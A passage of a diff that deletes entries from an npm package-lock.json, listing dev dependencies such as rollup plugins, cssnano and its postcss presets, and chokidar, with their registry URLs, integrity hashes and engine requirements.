- "@rollup/pluginutils": "^5.0.1"
- },
- "engines": {
- "node": ">=14.0.0"
- },
- "peerDependencies": {
- "rollup": "^1.20.0||^2.0.0||^3.0.0"
- },
- "peerDependenciesMeta": {
- "rollup": {
- "optional": true
- }
- }
- },
- "node_modules/@rollup/plugin-node-resolve": {
- "version": "15.2.1",
- "resolved": "https://registry.npmjs.org/@rollup/plugin-node-resolve/-/plugin-node-resolve-15.2.1.tgz",
- "integrity": "sha512-nsbUg588+GDSu8/NS8T4UAshO6xeaOfINNuXeVHcKV02LJtoRaM1SiOacClw4kws1SFiNhdLGxlbMY9ga/zs/w==",
- "dev": true,
- "dependencies": {
- "@rollup/pluginutils": "^5.0.1",
- "@types/resolve": "1.20.2",
- "deepmerge": "^4.2.2",
- "is-builtin-module": "^3.2.1",
- "is-module": "^1.0.0",
- "resolve": "^1.22.1"
- },
- "engines": {
- "node": ">=14.0.0"
- },
- "peerDependencies": {
- "rollup": "^2.78.0||^3.0.0"
- },
- "peerDependenciesMeta": {
- "rollup": {
- "optional": true
- }
- }
- },
- "node_modules/@rollup/plugin-typescript": {
- "version": "11.1.3",
- "resolved": "https://registry.npmjs.org/@rollup/plugin-typescript/-/plugin-typescript-11.1.3.tgz",
- "integrity": "sha512-8o6cNgN44kQBcpsUJTbTXMTtb87oR1O0zgP3Dxm71hrNgparap3VujgofEilTYJo+ivf2ke6uy3/E5QEaiRlDA==",
- "dev": true,
- "dependencies": {
- "@rollup/pluginutils": "^5.0.1",
- "resolve": "^1.22.1"
- },
- "engines": {
- "node": ">=14.0.0"
- },
- "peerDependencies": {
- "rollup": "^2.14.0||^3.0.0",
- "tslib": "*",
- "typescript": ">=3.7.0"
- },
- "peerDependenciesMeta": {
- "rollup": {
- "optional": true
- },
- "tslib": {
- "optional": true
- }
- }
- },
- "node_modules/@rollup/pluginutils": {
- "version": "5.0.4",
- "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-5.0.4.tgz",
- "integrity": "sha512-0KJnIoRI8A+a1dqOYLxH8vBf8bphDmty5QvIm2hqm7oFCFYKCAZWWd2hXgMibaPsNDhI0AtpYfQZJG47pt/k4g==",
- "dev": true,
- "dependencies": {
- "@types/estree": "^1.0.0",
- "estree-walker": "^2.0.2",
- "picomatch": "^2.3.1"
- },
- "engines": {
- "node": ">=14.0.0"
- },
- "peerDependencies": {
- "rollup": "^1.20.0||^2.0.0||^3.0.0"
- },
- "peerDependenciesMeta": {
- "rollup": {
- "optional": true
- }
- }
- },
- "node_modules/@trysound/sax": {
- "version": "0.2.0",
- "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz",
- "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==",
- "dev": true,
- "engines": {
- "node": ">=10.13.0"
- }
- },
- "node_modules/@types/estree": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.1.tgz",
- "integrity": "sha512-LG4opVs2ANWZ1TJoKc937iMmNstM/d0ae1vNbnBvBhqCSezgVUOzcLCqbI5elV8Vy6WKwKjaqR+zO9VKirBBCA==",
- "dev": true
- },
- "node_modules/@types/node": {
- "version": "20.6.3",
- "resolved": "https://registry.npmjs.org/@types/node/-/node-20.6.3.tgz",
- "integrity": "sha512-HksnYH4Ljr4VQgEy2lTStbCKv/P590tmPe5HqOnv9Gprffgv5WXAY+Y5Gqniu0GGqeTCUdBnzC3QSrzPkBkAMA==",
- "dev": true
- },
- "node_modules/@types/resolve": {
- "version": "1.20.2",
- "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.20.2.tgz",
- "integrity": "sha512-60BCwRFOZCQhDncwQdxxeOEEkbc5dIMccYLwbxsS4TUNeVECQ/pBJ0j09mrHOl/JJvpRPGwO9SvE4nR2Nb/a4Q==",
- "dev": true
- },
- "node_modules/acorn": {
- "version": "8.10.0",
- "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz",
- "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==",
- "dev": true,
- "bin": {
- "acorn": "bin/acorn"
- },
- "engines": {
- "node": ">=0.4.0"
- }
- },
- "node_modules/ansi-regex": {
- "version": "5.0.1",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
- "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
- "dev": true,
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/ansi-styles": {
- "version": "3.2.1",
- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
- "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
- "dev": true,
- "dependencies": {
- "color-convert": "^1.9.0"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/anymatch": {
- "version": "3.1.3",
- "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
- "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
- "dev": true,
- "dependencies": {
- "normalize-path": "^3.0.0",
- "picomatch": "^2.0.4"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/balanced-match": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
- "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
- "dev": true
- },
- "node_modules/binary-extensions": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
- "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
- "dev": true,
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/boolbase": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz",
- "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==",
- "dev": true
- },
- "node_modules/brace-expansion": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
- "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
- "dev": true,
- "dependencies": {
- "balanced-match": "^1.0.0"
- }
- },
- "node_modules/braces": {
- "version": "3.0.2",
- "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
- "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
- "dev": true,
- "dependencies": {
- "fill-range": "^7.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/browserslist": {
- "version": "4.21.10",
- "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.10.tgz",
- "integrity": "sha512-bipEBdZfVH5/pwrvqc+Ub0kUPVfGUhlKxbvfD+z1BDnPEO/X98ruXGA1WP5ASpAFKan7Qr6j736IacbZQuAlKQ==",
- "dev": true,
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/browserslist"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/browserslist"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "dependencies": {
- "caniuse-lite": "^1.0.30001517",
- "electron-to-chromium": "^1.4.477",
- "node-releases": "^2.0.13",
- "update-browserslist-db": "^1.0.11"
- },
- "bin": {
- "browserslist": "cli.js"
- },
- "engines": {
- "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
- }
- },
- "node_modules/buffer-from": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
- "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
- "dev": true
- },
- "node_modules/builtin-modules": {
- "version": "3.3.0",
- "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-3.3.0.tgz",
- "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==",
- "dev": true,
- "engines": {
- "node": ">=6"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/caniuse-api": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz",
- "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==",
- "dev": true,
- "dependencies": {
- "browserslist": "^4.0.0",
- "caniuse-lite": "^1.0.0",
- "lodash.memoize": "^4.1.2",
- "lodash.uniq": "^4.5.0"
- }
- },
- "node_modules/caniuse-lite": {
- "version": "1.0.30001538",
- "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001538.tgz",
- "integrity": "sha512-HWJnhnID+0YMtGlzcp3T9drmBJUVDchPJ08tpUGFLs9CYlwWPH2uLgpHn8fND5pCgXVtnGS3H4QR9XLMHVNkHw==",
- "dev": true,
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/browserslist"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ]
- },
- "node_modules/chalk": {
- "version": "2.4.2",
- "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
- "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
- "dev": true,
- "dependencies": {
- "ansi-styles": "^3.2.1",
- "escape-string-regexp": "^1.0.5",
- "supports-color": "^5.3.0"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/chokidar": {
- "version": "3.5.3",
- "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
- "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
- "dev": true,
- "funding": [
- {
- "type": "individual",
- "url": "https://paulmillr.com/funding/"
- }
- ],
- "dependencies": {
- "anymatch": "~3.1.2",
- "braces": "~3.0.2",
- "glob-parent": "~5.1.2",
- "is-binary-path": "~2.1.0",
- "is-glob": "~4.0.1",
- "normalize-path": "~3.0.0",
- "readdirp": "~3.6.0"
- },
- "engines": {
- "node": ">= 8.10.0"
- },
- "optionalDependencies": {
- "fsevents": "~2.3.2"
- }
- },
- "node_modules/cliui": {
- "version": "8.0.1",
- "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz",
- "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==",
- "dev": true,
- "dependencies": {
- "string-width": "^4.2.0",
- "strip-ansi": "^6.0.1",
- "wrap-ansi": "^7.0.0"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/color-convert": {
- "version": "1.9.3",
- "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
- "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
- "dev": true,
- "dependencies": {
- "color-name": "1.1.3"
- }
- },
- "node_modules/color-name": {
- "version": "1.1.3",
- "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
- "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
- "dev": true
- },
- "node_modules/colord": {
- "version": "2.9.3",
- "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.3.tgz",
- "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==",
- "dev": true
- },
- "node_modules/commander": {
- "version": "7.2.0",
- "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz",
- "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==",
- "dev": true,
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/commondir": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz",
- "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==",
- "dev": true
- },
- "node_modules/css-declaration-sorter": {
- "version": "6.4.1",
- "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.4.1.tgz",
- "integrity": "sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g==",
- "dev": true,
- "engines": {
- "node": "^10 || ^12 || >=14"
- },
- "peerDependencies": {
- "postcss": "^8.0.9"
- }
- },
- "node_modules/css-select": {
- "version": "5.1.0",
- "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.1.0.tgz",
- "integrity": "sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==",
- "dev": true,
- "dependencies": {
- "boolbase": "^1.0.0",
- "css-what": "^6.1.0",
- "domhandler": "^5.0.2",
- "domutils": "^3.0.1",
- "nth-check": "^2.0.1"
- },
- "funding": {
- "url": "https://github.com/sponsors/fb55"
- }
- },
- "node_modules/css-tree": {
- "version": "2.3.1",
- "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-2.3.1.tgz",
- "integrity": "sha512-6Fv1DV/TYw//QF5IzQdqsNDjx/wc8TrMBZsqjL9eW01tWb7R7k/mq+/VXfJCl7SoD5emsJop9cOByJZfs8hYIw==",
- "dev": true,
- "dependencies": {
- "mdn-data": "2.0.30",
- "source-map-js": "^1.0.1"
- },
- "engines": {
- "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0"
- }
- },
- "node_modules/css-what": {
- "version": "6.1.0",
- "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz",
- "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==",
- "dev": true,
- "engines": {
- "node": ">= 6"
- },
- "funding": {
- "url": "https://github.com/sponsors/fb55"
- }
- },
- "node_modules/cssesc": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
- "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==",
- "dev": true,
- "bin": {
- "cssesc": "bin/cssesc"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/cssnano": {
- "version": "6.0.1",
- "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-6.0.1.tgz",
- "integrity": "sha512-fVO1JdJ0LSdIGJq68eIxOqFpIJrZqXUsBt8fkrBcztCQqAjQD51OhZp7tc0ImcbwXD4k7ny84QTV90nZhmqbkg==",
- "dev": true,
- "dependencies": {
- "cssnano-preset-default": "^6.0.1",
- "lilconfig": "^2.1.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/cssnano"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/cssnano-preset-default": {
- "version": "6.0.1",
- "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-6.0.1.tgz",
- "integrity": "sha512-7VzyFZ5zEB1+l1nToKyrRkuaJIx0zi/1npjvZfbBwbtNTzhLtlvYraK/7/uqmX2Wb2aQtd983uuGw79jAjLSuQ==",
- "dev": true,
- "dependencies": {
- "css-declaration-sorter": "^6.3.1",
- "cssnano-utils": "^4.0.0",
- "postcss-calc": "^9.0.0",
- "postcss-colormin": "^6.0.0",
- "postcss-convert-values": "^6.0.0",
- "postcss-discard-comments": "^6.0.0",
- "postcss-discard-duplicates": "^6.0.0",
- "postcss-discard-empty": "^6.0.0",
- "postcss-discard-overridden": "^6.0.0",
- "postcss-merge-longhand": "^6.0.0",
- "postcss-merge-rules": "^6.0.1",
- "postcss-minify-font-values": "^6.0.0",
- "postcss-minify-gradients": "^6.0.0",
- "postcss-minify-params": "^6.0.0",
- "postcss-minify-selectors": "^6.0.0",
- "postcss-normalize-charset": "^6.0.0",
- "postcss-normalize-display-values": "^6.0.0",
- "postcss-normalize-positions": "^6.0.0",
- "postcss-normalize-repeat-style": "^6.0.0",
- "postcss-normalize-string": "^6.0.0",
- "postcss-normalize-timing-functions": "^6.0.0",
- "postcss-normalize-unicode": "^6.0.0",
- "postcss-normalize-url": "^6.0.0",
- "postcss-normalize-whitespace": "^6.0.0",
- "postcss-ordered-values": "^6.0.0",
- "postcss-reduce-initial": "^6.0.0",
- "postcss-reduce-transforms": "^6.0.0",
- "postcss-svgo": "^6.0.0",
- "postcss-unique-selectors": "^6.0.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/cssnano-utils": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-4.0.0.tgz",
- "integrity": "sha512-Z39TLP+1E0KUcd7LGyF4qMfu8ZufI0rDzhdyAMsa/8UyNUU8wpS0fhdBxbQbv32r64ea00h4878gommRVg2BHw==",
- "dev": true,
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/csso": {
- "version": "5.0.5",
- "resolved": "https://registry.npmjs.org/csso/-/csso-5.0.5.tgz",
- "integrity": "sha512-0LrrStPOdJj+SPCCrGhzryycLjwcgUSHBtxNA8aIDxf0GLsRh1cKYhB00Gd1lDOS4yGH69+SNn13+TWbVHETFQ==",
- "dev": true,
- "dependencies": {
- "css-tree": "~2.2.0"
- },
- "engines": {
- "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0",
- "npm": ">=7.0.0"
- }
- },
- "node_modules/csso/node_modules/css-tree": {
- "version": "2.2.1",
- "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-2.2.1.tgz",
- "integrity": "sha512-OA0mILzGc1kCOCSJerOeqDxDQ4HOh+G8NbOJFOTgOCzpw7fCBubk0fEyxp8AgOL/jvLgYA/uV0cMbe43ElF1JA==",
- "dev": true,
- "dependencies": {
- "mdn-data": "2.0.28",
- "source-map-js": "^1.0.1"
- },
- "engines": {
- "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0",
- "npm": ">=7.0.0"
- }
- },
- "node_modules/csso/node_modules/mdn-data": {
- "version": "2.0.28",
- "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.28.tgz",
- "integrity": "sha512-aylIc7Z9y4yzHYAJNuESG3hfhC+0Ibp/MAMiaOZgNv4pmEdFyfZhhhny4MNiAfWdBQ1RQ2mfDWmM1x8SvGyp8g==",
- "dev": true
- },
- "node_modules/deepmerge": {
- "version": "4.3.1",
- "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz",
- "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==",
- "dev": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/dependency-graph": {
- "version": "0.11.0",
- "resolved": "https://registry.npmjs.org/dependency-graph/-/dependency-graph-0.11.0.tgz",
- "integrity": "sha512-JeMq7fEshyepOWDfcfHK06N3MhyPhz++vtqWhMT5O9A3K42rdsEDpfdVqjaqaAhsw6a+ZqeDvQVtD0hFHQWrzg==",
- "dev": true,
- "engines": {
- "node": ">= 0.6.0"
- }
- },
- "node_modules/dir-glob": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
- "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
- "dev": true,
- "dependencies": {
- "path-type": "^4.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/dom-serializer": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz",
- "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==",
- "dev": true,
- "dependencies": {
- "domelementtype": "^2.3.0",
- "domhandler": "^5.0.2",
- "entities": "^4.2.0"
- },
- "funding": {
- "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1"
- }
- },
- "node_modules/domelementtype": {
- "version": "2.3.0",
- "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
- "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==",
- "dev": true,
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/fb55"
- }
- ]
- },
- "node_modules/domhandler": {
- "version": "5.0.3",
- "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz",
- "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==",
- "dev": true,
- "dependencies": {
- "domelementtype": "^2.3.0"
- },
- "engines": {
- "node": ">= 4"
- },
- "funding": {
- "url": "https://github.com/fb55/domhandler?sponsor=1"
- }
- },
- "node_modules/domutils": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.1.0.tgz",
- "integrity": "sha512-H78uMmQtI2AhgDJjWeQmHwJJ2bLPD3GMmO7Zja/ZZh84wkm+4ut+IUnUdRa8uCGX88DiVx1j6FRe1XfxEgjEZA==",
- "dev": true,
- "dependencies": {
- "dom-serializer": "^2.0.0",
- "domelementtype": "^2.3.0",
- "domhandler": "^5.0.3"
- },
- "funding": {
- "url": "https://github.com/fb55/domutils?sponsor=1"
- }
- },
- "node_modules/electron-to-chromium": {
- "version": "1.4.525",
- "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.525.tgz",
- "integrity": "sha512-GIZ620hDK4YmIqAWkscG4W6RwY6gOx1y5J6f4JUQwctiJrqH2oxZYU4mXHi35oV32tr630UcepBzSBGJ/WYcZA==",
- "dev": true
- },
- "node_modules/emoji-regex": {
- "version": "8.0.0",
- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
- "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
- "dev": true
- },
- "node_modules/entities": {
- "version": "4.5.0",
- "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz",
- "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==",
- "dev": true,
- "engines": {
- "node": ">=0.12"
- },
- "funding": {
- "url": "https://github.com/fb55/entities?sponsor=1"
- }
- },
- "node_modules/escalade": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz",
- "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==",
- "dev": true,
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/escape-string-regexp": {
- "version": "1.0.5",
- "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
- "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
- "dev": true,
- "engines": {
- "node": ">=0.8.0"
- }
- },
- "node_modules/estree-walker": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz",
- "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==",
- "dev": true
- },
- "node_modules/fast-glob": {
- "version": "3.3.1",
- "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.1.tgz",
- "integrity": "sha512-kNFPyjhh5cKjrUltxs+wFx+ZkbRaxxmZ+X0ZU31SOsxCEtP9VPgtq2teZw1DebupL5GmDaNQ6yKMMVcM41iqDg==",
- "dev": true,
- "dependencies": {
- "@nodelib/fs.stat": "^2.0.2",
- "@nodelib/fs.walk": "^1.2.3",
- "glob-parent": "^5.1.2",
- "merge2": "^1.3.0",
- "micromatch": "^4.0.4"
- },
- "engines": {
- "node": ">=8.6.0"
- }
- },
- "node_modules/fastq": {
- "version": "1.15.0",
- "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.15.0.tgz",
- "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==",
- "dev": true,
- "dependencies": {
- "reusify": "^1.0.4"
- }
- },
- "node_modules/fill-range": {
- "version": "7.0.1",
- "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
- "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
- "dev": true,
- "dependencies": {
- "to-regex-range": "^5.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/fs-extra": {
- "version": "11.1.1",
- "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.1.1.tgz",
- "integrity": "sha512-MGIE4HOvQCeUCzmlHs0vXpih4ysz4wg9qiSAu6cd42lVwPbTM1TjV7RusoyQqMmk/95gdQZX72u+YW+c3eEpFQ==",
- "dev": true,
- "dependencies": {
- "graceful-fs": "^4.2.0",
- "jsonfile": "^6.0.1",
- "universalify": "^2.0.0"
- },
- "engines": {
- "node": ">=14.14"
- }
- },
- "node_modules/fs.realpath": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
- "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==",
- "dev": true
- },
- "node_modules/fsevents": {
- "version": "2.3.3",
- "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
- "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
- "dev": true,
- "hasInstallScript": true,
- "optional": true,
- "os": [
- "darwin"
- ],
- "engines": {
- "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
- }
- },
- "node_modules/function-bind": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz",
